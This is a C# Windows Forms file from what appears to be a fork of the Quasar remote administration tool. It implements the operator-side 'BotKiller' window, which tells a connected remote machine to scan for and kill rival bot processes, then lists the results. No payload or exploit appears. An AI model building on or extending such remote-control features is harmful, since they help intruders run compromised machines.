using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Utilities;
using System;
using System.Drawing;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmBotKiller : Form
    {
        private readonly Client _client;
        public static FrmBotKiller Instance { get; private set; }

        public FrmBotKiller(Client client)
        {
            _client = client;
            Instance = this;
            InitializeComponent();
        }

        private void FrmBotKiller_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); }
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"BotKiller - {_client.EndPoint}";
            AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue);

            // Send scan command
            _client.Send(new DoBotKiller());
        }

        public void AddResult(Client client, BotKillerResult result)
        {
            if (client != _client)
                return;

            if (InvokeRequired)
            {
                Invoke(new Action(() => AddResult(client, result)));
                return;
            }

            if (result.ProcessName == "SCAN_COMPLETE")
            {
                AddLog(result.Message, Color.Green);
                btnScan.Enabled = true;
                return;
            }

            // Add threat to list
            ListViewItem item = new ListViewItem(result.ProcessName);
            item.SubItems.Add(result.ProcessId.ToString());
            item.SubItems.Add(result.FilePath);
            item.SubItems.Add(result.ThreatType);
            item.SubItems.Add(result.Mutex);
            item.SubItems.Add(result.Killed ? "Yes" : "No");

            if (result.Killed)
                item.ForeColor = Color.Red;
            else
                item.ForeColor = Color.Orange;

            lstThreats.Items.Add(item);

            AddLog($"[{result.ThreatType}] {result.ProcessName} (PID: {result.ProcessId}) - {result.Message}", result.Killed ? Color.Red : Color.Orange);
        }

        private void AddLog(string message, Color color)
        {
            if (InvokeRequired)
            {
                Invoke(new Action(() => AddLog(message, color)));
                return;
            }

            txtLog.SelectionStart = txtLog.TextLength;
            txtLog.SelectionLength = 0;
            txtLog.SelectionColor = color;
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n");
            txtLog.SelectionColor = txtLog.ForeColor;
            txtLog.ScrollToCaret();
        }

        private void btnScan_Click(object sender, EventArgs e)
        {
            lstThreats.Items.Clear();
            txtLog.Clear();
            btnScan.Enabled = false;

            AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue);
            _client.Send(new DoBotKiller());
        }

        private void btnClear_Click(object sender, EventArgs e)
        {
            lstThreats.Items.Clear();
            txtLog.Clear();
        }

        private void FrmBotKiller_FormClosing(object sender, FormClosingEventArgs e)
        {
            Instance = null;
        }
    }
}
